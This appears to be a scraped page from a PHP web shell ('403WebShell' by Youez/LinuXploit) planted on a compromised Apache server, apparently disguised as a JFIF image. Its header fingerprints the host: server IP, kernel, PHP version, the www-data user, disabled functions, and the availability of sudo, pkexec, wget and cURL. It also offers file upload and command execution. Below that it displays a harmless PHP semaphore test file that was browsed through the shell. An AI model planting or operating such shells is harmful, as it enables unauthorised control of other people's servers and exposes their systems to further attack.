????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.116
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/sysvsem/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/sysvsem/tests/nowait.phpt
--TEST--
sem_acquire with nowait
--SKIPIF--
<?php // vim600: ts=4 sw=4 syn=php fdm=marker
if(!extension_loaded('sysvsem') || !extension_loaded('pcntl')) {
	die("skip sysvsem and pcntl required");
}
?>
--FILE--
<?php
$SEMKEY	= ftok(__FILE__, 'P');  //  Semaphore key

$pid = pcntl_fork();

if ($pid) {
	echo "Parent.\n";

	pcntl_signal(SIGCHLD, SIG_IGN);

	// Get semaphore
	$sem_id = sem_get($SEMKEY, 1);
	if ($sem_id === FALSE) {
		echo "P: fail to get semaphore";
		exit;
	}
	echo "P: got semaphore $sem_id.\n";

	register_shutdown_function(function () use ($sem_id) {
		echo "P: cleanup.\n";
		sem_remove($sem_id);
	});
  
	// Acquire semaphore
	if (! sem_acquire($sem_id)) {
		echo "P: fail to acquire semaphore $sem_id.\n";
		sem_remove($sem_id);
		exit;
	}
	echo "P: success acquire semaphore $sem_id.\n";

	usleep(20000);

	echo "P: releases.\n";
	sem_release($sem_id);

	usleep(5000);

	// Acquire semaphore
	if (! sem_acquire($sem_id)) {
		echo "P: fail to acquire semaphore $sem_id.\n";
		sem_remove($sem_id);
		exit;
	}
	echo "P: success acquire semaphore $sem_id.\n";

	$status = null;
	pcntl_waitpid($pid, $status);

} else {
	usleep(10000);
	echo "Child.\n";

	// Get semaphore
	$sem_id = sem_get($SEMKEY, 1);
	if ($sem_id === FALSE) {
		echo "C: fail to get semaphore";
		exit;
	}
	echo "C: got semaphore $sem_id.\n";
  
	// Acquire semaphore
	if (! sem_acquire($sem_id)) {
		echo "C: fail to acquire semaphore $sem_id.\n";
		exit;
	}
	echo "C: success acquire semaphore $sem_id.\n";

	echo "C: releases.\n";
	sem_release($sem_id);

	usleep(10000);

	// Acquire semaphore
	if (! sem_acquire($sem_id, true)) {
		echo "C: fail to acquire semaphore $sem_id.\n";
		exit;
	}
	echo "C: success acquire semaphore $sem_id.\n";
}

?>
--EXPECTF--
Parent.
P: got semaphore Resource id #%i.
P: success acquire semaphore Resource id #%i.
Child.
C: got semaphore Resource id #%i.
P: releases.
C: success acquire semaphore Resource id #%i.
C: releases.
P: success acquire semaphore Resource id #%i.
C: fail to acquire semaphore Resource id #%i.
P: cleanup.

Youez - 2016 - github.com/yon3zu
LinuXploit